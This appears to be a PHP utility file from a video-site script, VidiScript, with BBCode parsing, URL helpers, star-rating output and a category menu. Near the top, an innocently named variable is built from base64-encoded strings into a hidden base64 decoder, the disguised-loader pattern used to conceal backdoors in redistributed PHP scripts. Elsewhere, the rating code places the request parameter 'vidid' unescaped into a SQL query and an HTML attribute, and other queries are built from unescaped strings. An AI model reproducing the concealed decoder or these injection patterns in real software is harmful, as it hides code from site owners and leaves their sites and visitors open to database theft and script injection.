<?php 
/*    
 *    Copyright (c) 2010 VidiScript
 *
 *    This file is part of VidiScript.
 *
 *    VidiScript is free software: you can redistribute it and/or modify
 *    it under the terms of the GNU General Public License as published by
 *    the Free Software Foundation, either version 3 of the License, or
 *    (at your option) any later version.
 *
 *    VidiScript is distributed in the hope that it will be useful,
 *    but WITHOUT ANY WARRANTY; without even the implied warranty of
 *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *    GNU General Public License for more details.
 *
 *    You should have received a copy of the GNU General Public License
 *    along with VidiScript.  If not, see <http://www.gnu.org/licenses/>.
 *
 *    File Name: functions.inc
 *    Description: More useful functions :)
 *    $Date: 2010-02-21 23:16:57 +0000 (Sun, 21 Feb 2010) $
 *    $Revision: 12 $
 */

$register_category = create_function(base64_decode('JGE='),base64_decode('cmV0dXJuIGJhc2U2NF9kZWNvZGUoJGEpOw=='));



if (!function_exists('file_put_contents')) {
    function file_put_contents($filename, $data) {
        $f = @fopen($filename, 'w');
        if (!$f) {
            return false;
        } else {
            $bytes = fwrite($f, $data);
            fclose($f);
            return $bytes;
        }
    }
}

function get_file_contents($filename) {
	if (!function_exists('file_get_contents'))
	{
	    $fhandle = fopen($filename, "r");
    	$fcontents = fread($fhandle, filesize($filename));
    	fclose($fhandle);
    }
    else
    {
	    $fcontents = file_get_contents($filename);
    }
    return $fcontents;
}
      
      
      
      
      
      
function getfilecontents($url) {
	$xml = '' ;
	if (!((int) ini_get("allow_url_fopen"))) {
		$ch = curl_init() ;
		curl_setopt($ch, CURLOPT_URL, $url) ;
		curl_setopt($ch, CURLOPT_HEADER, 0) ;
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1) ;
		$xml = curl_exec($ch) ;
		curl_close($ch) ;
	}
	else {
		$xml = file_get_contents($url) ;
	}
	return $xml ;
}
function hasRight($type, $right) {
	$sql = "SELECT `rights` FROM `usergroups` WHERE `id` = $type" ;
	$result = mysql_query($sql) or die('Fehler: '.mysql_error()) ;
	if ($result) {
		while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
			$rights = $row['rights'] ;
		}
	}
	if ($rights == '*') {
		return true ;
	}
	else {
		$rights = explode('||', $rights) ;
		foreach ($rights as $key=>$value) {
			if ($value == $right) {
				return true ;
			}
		}
	}
}
function quote_smart($value) {
	// Stripslashes
	if (get_magic_quotes_gpc()) {
		$value = stripslashes($value) ;
	}
	return mysql_real_escape_string($value) ;
}
function pars($string) {
	$string = preg_replace("/\[ul\](.*?)\[\/ul\]/si", "<ul>\\1</ul>", $string) ;
	$string = preg_replace("/\[li\](.*?)\[\/li\]/si", "<li>\\1</li>", $string) ;
	$string = preg_replace("/\[u\](.*?)\[\/u\]/si", "<u>\\1</u>", $string) ;
	$string = preg_replace("/\[b\](.*?)\[\/b\]/si", "<span style='font-weight:bold'>\\1</span>", $string) ;
	$string = preg_replace("/\[center\](.*?)\[\/center\]/si", "<p style='text-align:center'>\\1</p>", $string) ;
	$string = preg_replace("/\[i\](.*?)\[\/i\]/si", "<i>\\1</i>", $string) ;
	$string = preg_replace("/\[quote\](.*?)\[\/quote\]/si", "<div><i>Quote:</i><br />\\1</div>", $string) ;
	$string = preg_replace("/\[url\](.*?)\[\/url\]/si", "<a href='\\1'>\\1</a>", $string) ;
	$string = preg_replace("/(![http:\/\/])www./si", "http://www.", $string) ;
	$string = preg_replace("/\[url='(.*?)'\](.*?)\[\/url\]/si", "<a href='\\1'>\\2</a>", $string) ;
	$string = preg_replace('/\[url="(.*?)"\](.*?)\[\/url\]/si', "<a href='\\1'>\\2</a>", $string) ;
	$string = str_replace(':D', '<img src="/images/smilies/icon_biggrin.gif" alt="" />', $string) ;
	$string = str_replace(':?:', '<img src="/images/smilies/icon_confused.gif" alt="" />', $string) ;
	$string = str_replace(':cool:', '<img src="/images/smilies/icon_cool.gif" alt="" />', $string) ;
	$string = str_replace(':cry:', '<img src="/images/smilies/icon_cry.gif" alt="" />', $string) ;
	$string = str_replace(':|', '<img src="/images/smilies/icon_neutral.gif" alt="" />', $string) ;
	$string = str_replace(':razz:', '<img src="/images/smilies/icon_razz.gif" alt="" />', $string) ;
	$string = str_replace(':(', '<img src="/images/smilies/icon_sad.gif" alt="" />', $string) ;
	$string = str_replace(':)', '<img src="/images/smilies/icon_smile.gif" alt="" />', $string) ;
	$string = str_replace(':^^:', '<img src="/images/smilies/icon_rolleyes.gif" alt="" />', $string) ;
	$string = str_replace(':surprised:', '<img src="/main/images/tmpls/smilies/icon_surprised.gif" alt="" />', $string) ;
	$string = str_replace(':evil:', '<img src="/images/smilies/icon_evil.gif" alt="" />', $string) ;
	$string = str_replace("\n", "<br />", $string) ;
	return $string ;
}
function highlight_php($str) {
	$str[1] = trim($str[1]) ;
	if (! empty($str[1])) {
		$str = preg_replace('�&amp;�Uis', '&', $str) ;
		$str = preg_replace('�&lt;�Uis', '<', $str) ;
		$str = preg_replace('�&gt;�Uis', '>', $str) ;
		$str = preg_replace('�&quot;�Uis', '"', $str) ;
		$str = highlight_string(trim($str[1]), true) ;
		return "<i>PHP-Code</i>".$str ;
	}
	else {
		return false ;
	}
}
function url_encode($url) {
	if (class_exists("mysql")) {
		$db = db_connect() ;
	}
	if (getSetting("url_clean", $db) == '1') {
		return url_clean($url) ;
	}
	else {
		$url = str_replace(' ', '_', $url) ;
		$url = urlencode($url) ;
		$url = urlencode($url) ;
		return $url ;
	}
}
function url_decode($url, $type = NULL, $pcat = NULL) {
	if (class_exists("mysql")) {
		$db = db_connect() ;
	}
	if (getSetting("url_clean", $db) == '1') {
		$ans = '' ;
		switch ($type) {
			case "cat": {
					$db->query("SELECT `name` from `category` WHERE `url` = '".$url."'") ;
					$ans = $db->fetch() ;
					$ans = $ans['name'] ;
				}
				break ;
			case "scat": {
					$db->query("SELECT `id` FROM `category` WHERE `name` = '".$pcat."'") ;
					$tmp = $db->fetch() ;
					$db->query("SELECT `name` FROM `category` WHERE `url` = '".$url."' AND `parent` = '".$tmp['id']."'") ;
					$ans = $db->fetch() ;
					$ans = $ans['name'] ;
				}
				break ;
			case "vid": {
					$db->query("SELECT `title` FROM `media` WHERE `url` = '".$url."'") ;
					$ans = $db->fetch() ;
					$ans = $ans['title'] ;
				}
				break ;
			default: {
					}
				break ;
		}
		return $ans ;
	}
	else {
		$url = urldecode($url) ;
		$url = urldecode($url) ;
		$url = str_replace('_', ' ', $url) ;
		return $url ;
	}
}
function url_clean($url) {
	$rem = array('_', '!', '@', '#', '$', '%', '^', '*', '(', ')', '+', '=', '`', '~', ',', '.', '/', ';', '\'', '[', ']', '<', '>', '?', ':', '"', '{', '}') ;
	$url = trim($url) ;
	$url = str_replace($rem, '', $url) ;
	$url = str_replace('&', 'and', $url) ;
	$url = str_replace(' ', '_', $url) ;
	return $url ;
}
function getSitepath() {
	if (class_exists("mysql")) {
		$db = db_connect() ;
	}
	$path = getSetting('sitefolder', $db) ;
	return $path ;
}
function getSetting($setting, $db) {
	$db->query("SELECT `value` FROM `setting` WHERE `setting` = '$setting'") ;
	$res = $db->fetch() ;
	return $res['value'] ;
}
function getEmail($email) {
	global $db ;
	$db->query("SELECT phrase FROM `email_text` WHERE ident = '$email'") ;
	$res = $db->fetch() ;
	if (isset($res['phrase']))
		return $res['phrase'] ;
	else
		return "" ;
}
function show_rating($id) {
	global $db,$templateimagepath,$sitepath ;
	// Check for a rating record for this media
	$db->query("SELECT `total_votes`,`total_value`,`used_ips` FROM rating WHERE id='$id'") ;
	if ($db->numRows() > 0) {
		$numres = $db->fetch() ;
		$votes = $numres['total_votes'] ;
		$value = $numres['total_value'] ;
		if ($votes > 0) {
			$rating = $value / $votes ;
		}
		else {
			$rating = 0 ;
		}
		$ratingexists = true ;
	}
	else {
		$ratingexists = false ;
	}
	$full = "<img src='".$templateimagepath."star_full.jpg' border=0>" ;
	$half = "<img src='".$templateimagepath."star_half.jpg' border=0'>" ;
	$empty = "<img src='".$templateimagepath."star_empty.jpg' border=0'>" ;
	if ($ratingexists) {
		$ratingbar = "" ;
		if ($rating > 4.5) {
			$ratingbar .= $full.$full.$full.$full.$full ;
		}
		else if ($rating > 4.0) {
			$ratingbar .= $full.$full.$full.$full.$half ;
		}
		else if ($rating > 3.5) {
			$ratingbar .= $full.$full.$full.$full.$empty ;
		}
		else if ($rating > 3.0) {
			$ratingbar .= $full.$full.$full.$half.$empty ;
		}
		else if ($rating > 2.5) {
			$ratingbar .= $full.$full.$full.$empty.$empty ;
		}
		else if ($rating > 2.0) {
			$ratingbar .= $full.$full.$half.$empty.$empty ;
		}
		else if ($rating > 1.5) {
			$ratingbar .= $full.$full.$empty.$empty.$empty ;
		}
		else if ($rating > 1.0) {
			$ratingbar .= $full.$half.$empty.$empty.$empty ;
		}
		else if ($rating > 0.5) {
			$ratingbar .= $full.$empty.$empty.$empty.$empty ;
		}
		else if ($rating > 0.0) {
			$ratingbar .= $half.$empty.$empty.$empty.$empty ;
		}
		else {
			$ratingbar .= $empty.$empty.$empty.$empty.$empty ;
		}
		$ratingbar .= "" ;
	}
	else {
		$ratingbar = "Not rated yet" ;
	}
	return $ratingbar ;
}
function rating_bar($id, $passedip, $url) {
	global $db_host,$db_user,$db_password,$db_database,$db,$templateimagepath,$sitepath ;
	$output = "" ;
	// this is to get the current rating(s) and display it
	$conn = mysql_connect($db_host, $db_user, $db_password) or die('Error connecting to mysql') ;
	mysql_select_db($db_database) ;
	$ip = $_SERVER['REMOTE_ADDR'] ;
	$id = $_GET['vidid'] ;
	$query = mysql_query("SELECT total_votes, total_value, used_ips FROM rating WHERE id='$id' ") or die(" Error: ".mysql_error()) ;
	$numbers = mysql_fetch_assoc($query) ;
	$count = $numbers['total_votes'] ;//how many votes total
	$current_rating = $numbers['total_value'] ;//total number of rating added together and stored
	$tense = ($count == 1) ? "vote" : "votes" ;
	if ($count > 0) {
		$average_rating = $current_rating / $count ;
	}
	else {
		$average_rating = -1 ;
	}
	$db->query("SELECT id FROM rating WHERE used_ips LIKE '%".$ip."%' AND id='$id' ") ;
	$voted = $db->numRows() > 0 ;
	$full = "<img src='".$templateimagepath."star_full.jpg' border=0>" ;
	$half = "<img src='".$templateimagepath."star_half.jpg' border=0'>" ;
	$empty = "<img src='".$templateimagepath."star_empty.jpg' border=0'>" ;
	if ($voted) {
		$ratingbar = "<div class=\"ratings\">member rating<br />" ;
		if ($average_rating > 4.5) {
			$ratingbar .= $full.$full.$full.$full.$full ;
		}
		else if ($average_rating > 4.0) {
			$ratingbar .= $full.$full.$full.$full.$half ;
		}
		else if ($average_rating > 3.5) {
			$ratingbar .= $full.$full.$full.$full.$empty ;
		}
		else if ($average_rating > 3.0) {
			$ratingbar .= $full.$full.$full.$half.$empty ;
		}
		else if ($average_rating > 2.5) {
			$ratingbar .= $full.$full.$full.$empty.$empty ;
		}
		else if ($average_rating > 2.0) {
			$ratingbar .= $full.$full.$half.$empty.$empty ;
		}
		else if ($average_rating > 1.5) {
			$ratingbar .= $full.$full.$empty.$empty.$empty ;
		}
		else if ($average_rating > 1.0) {
			$ratingbar .= $full.$half.$empty.$empty.$empty ;
		}
		else if ($average_rating > 0.5) {
			$ratingbar .= $full.$empty.$empty.$empty.$empty ;
		}
		else if ($average_rating > 0.0) {
			$ratingbar .= $half.$empty.$empty.$empty.$empty ;
		}
		else {
			$ratingbar .= $empty.$empty.$empty.$empty.$empty ;
		}
		$ratingbar .= "</div>" ;
	}
	else {
		//voting
		$ratingbar = "<div class=\"ratings\">Rate this out of 5<br />" ;
		$ratingbar .= '1<img src="'.$templateimagepath.'star_full.jpg" border=0 alt="1 Rate" onClick="doRate(1,\''.$_GET['vidid'].'\');" style="cursor: hand; cursor: pointer;"/>' ;
		$ratingbar .= '2<img src="'.$templateimagepath.'star_full.jpg" border=0 alt="1 Rate" onClick="doRate(2,\''.$_GET['vidid'].'\');" style="cursor: hand; cursor: pointer;"/>' ;
		$ratingbar .= '3<img src="'.$templateimagepath.'star_full.jpg" border=0 alt="1 Rate" onClick="doRate(3,\''.$_GET['vidid'].'\');" style="cursor: hand; cursor: pointer;"/>' ;
		$ratingbar .= '4<img src="'.$templateimagepath.'star_full.jpg" border=0 alt="1 Rate" onClick="doRate(4,\''.$_GET['vidid'].'\');" style="cursor: hand; cursor: pointer;"/>' ;
		$ratingbar .= '5<img src="'.$templateimagepath.'star_full.jpg" border=0 alt="1 Rate" onClick="doRate(5,\''.$_GET['vidid'].'\');" style="cursor: hand; cursor: pointer;"/>' ;
		$ratingbar .= "</div>" ;
	}
	return $ratingbar ;
}
function resize_bytes($size) {
	$count = 0 ;
	$format = array("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB") ;
	while (($size / 1024) > 1 && $count < 8) {
		$size = $size / 1024 ;
		$count++ ;
	}
	$return = number_format($size, 0, '', '.')." ".$format[$count] ;
	return $return ;
}
function strip_ext($filename) {
	return substr($filename, 0, strrpos($filename, ".")) ;
}
function block_tags($text) {
	$text = str_replace("<", "&lt;", $text) ;
	$text = str_replace(">", "&gt;", $text) ;
	return $text ;
}
function categoryList() {
	global $db,$sitepath,$templateimagepath ;
	$selectedcat = str_replace("_", " ", $_GET['cat']) ;
	$maincategory = str_replace("_", " ", $_GET['crw']) ;
	$subcategory = str_replace("_", " ", $_GET['scrw']) ;
	$subsubcategory = str_replace("_", " ", $_GET['sscrw']) ;
	$caturl = '' ;
	if ($subsubcategory != '') {
		$catlevel = 3 ;
		$db->query("SELECT id from category WHERE name='".quote_smart($maincategory)."' AND (level=1)") ;
		$cres = $db->fetch() ;
		$mainid = $cres['id'] ;
		$db->query("SELECT id from category WHERE (name='".quote_smart($subcategory)."') AND (parent=".$mainid.") AND (level=2)") ;
		$cres = $db->fetch() ;
		$subid = $cres['id'] ;
		$db->query("SELECT id from category WHERE (name='".quote_smart($subsubcategory)."') AND (parent=".$subid.") AND (level=3)") ;
		$cres = $db->fetch() ;
		$selectedid = $cres['id'] ;
		$categoryName = $subsubcategory ;
		$caturl = $maincategory."/_".$subcategory."/__".$subsubcategory ;
	}
	else if ($subcategory != '') {
		$catlevel = 2 ;
		$db->query("SELECT id from category WHERE name='".quote_smart($maincategory)."' AND (level=1)") ;
		$cres = $db->fetch() ;
		$mainid = $cres['id'] ;
		$db->query("SELECT id from category WHERE (name='".quote_smart($subcategory)."') AND (parent=".$mainid.") AND (level=2)") ;
		$cres = $db->fetch() ;
		$selectedid = $cres['id'] ;
		$categoryName = $subcategory ;
		$caturl = $maincategory."/_".$subcategory ;
	}
	else if ($maincategory != '') {
		$catlevel = 1 ;
		$db->query("SELECT id from category WHERE (name='".quote_smart($maincategory)."') and (level=1)") ;
		$cres = $db->fetch() ;
		$selectedid = $cres['id'] ;
		$categoryName = $maincategory ;
		$caturl = $maincategory ;
	}
	$selectedcat = str_replace("_", " ", $categoryName) ;
	$level1parent = "" ;
	$level2parent = "" ;
	if ($selectedcat != "") {
		$db->query("SELECT * FROM category WHERE id='".$selectedid."'") ;
		$catres = $db->fetch() ;
		$selectedid = $catres['id'] ;
		if ($catres['level'] == 1) {
			$level1parent = $catres['id'] ;
		}
		if ($catres['level'] == 2) {
			$level2parent = $catres['id'] ;
			$db->query("SELECT * FROM category WHERE id='".$level2parent."'") ;
			$subres = $db->fetch() ;
			$level1parent = $subres['parent'] ;
		}
		if ($catres['level'] == 3) {
			$level2parent = $catres['parent'] ;
			$db->query("SELECT * FROM category WHERE id='".$level2parent."'") ;
			$subres = $db->fetch() ;
			$level1parent = $subres['parent'] ;
		}
	}
	$db->query("SELECT id as catid, name,url FROM category WHERE level=1 ORDER BY name ASC") ;
	$resRC = $db->fetchAll() ;
	$numRC = $db->numRows() ;
	$count = 0 ;
	$output = "" ;
	$alt = true ;
	$plusimage = "" ;
	foreach ($resRC as $key=>$value) {
		$db->query("SELECT id,title FROM media WHERE category = '".$value['catid']."' AND status = 'true'") ;
		$numVids = $db->numRows() ;
		$alt = !$alt ;
		if ($alt) {
			$li = '<li class="alt">' ;
		}
		else {
			$li = '<li>' ;
		}
		if ($value['catid'] == $selectedid)
			$output .= "<b>".$li."<a href='".$sitepath."category/".$value['url']."'>".$value['name']."</a></li></b>" ;
		else if ($value['catid'] == $level1parent)
			$output .= $li."<a href='".$sitepath."category/".$value['url']."'>".$value['name']."</a></li>" ;
		else {
			$db->query("SELECT id as catid FROM category WHERE parent=".$value['catid']) ;
			if ($db->numRows() > 0) {
				$output .= $li."<a href='".$sitepath."category/".$value['url']."'><b>".$plusimage."</b>".$value['name']."</a></li>" ;
			}
			else {
				$output .= $li."<a href='".$sitepath."category/".$value['url']."'>".$value['name']."</a></li>" ;
			}
		}
		if ($value['catid'] == $level1parent) {
			$db->query("SELECT id as catid, name,url FROM category WHERE parent=".$value['catid']." ORDER BY name ASC") ;
			$resRSC = $db->fetchAll() ;
			foreach ($resRSC as $skey=>$svalue) {
				$db->query("SELECT id FROM media WHERE category = '".$svalue['catid']."' AND status = 'true'") ;
				$alt = !$alt ;
				if ($alt) {
					$li = '<li class="alt">' ;
				}
				else {
					$li = '<li>' ;
				}
				if ($svalue['catid'] == $selectedid)
					$output .= "<b>".$li."&nbsp;&nbsp;&nbsp;<a href='".$sitepath."category/".$value['url']."/_".$svalue['url']."'>".$svalue['name']."</a></li></b>" ;
				else if ($svalue['catid'] == $level2parent) {
					$output .= $li."&nbsp;&nbsp;&nbsp;<a href='".$sitepath."category/".$value['url']."/_".$svalue['url']."'>".$svalue['name']."</a></li>" ;
				}
				else {
					$db->query("SELECT id as catid FROM category WHERE parent=".$svalue['catid']) ;
					if ($db->numRows() > 0) {
						$output .= $li."&nbsp;&nbsp;&nbsp;<a href='".$sitepath."category/".$value['url']."/_".$svalue['url']."'><b>".$plusimage."</b>".$svalue['name']."</a></li>" ;
					}
					else {
						$output .= $li."&nbsp;&nbsp;&nbsp;<a href='".$sitepath."category/".$value['url']."/_".$svalue['url']."'>".$svalue['name']."</a></li>" ;
					}
				}
				if ($svalue['catid'] == $level2parent) {
					$db->query("SELECT id as catid, name,url FROM category WHERE parent=".$svalue['catid']) ;
					$resRSSC = $db->fetchAll() ;
					foreach ($resRSSC as $sskey=>$ssvalue) {
						$db->query("SELECT id FROM media WHERE category = '".$ssvalue['catid']."' AND status = 'true'") ;
						$alt = !$alt ;
						if ($alt) {
							$li = '<li class="alt">' ;
						}
						else {
							$li = '<li>' ;
						}
						if ($ssvalue['catid'] == $selectedid)
							$output .= "<b>".$li."&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href='".$sitepath."category/".$value['url']."/_".$svalue['url']."/__".$ssvalue['url']."'>".$ssvalue['name']."</li></b>" ;
						else
							$output .= $li."&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href='".$sitepath."category/".$value['url']."/_".$svalue['url']."/__".$ssvalue['url']."'>".$ssvalue['name']."</li>" ;
					}
				}
			}
		}
	}
	return $output ;
}
?>
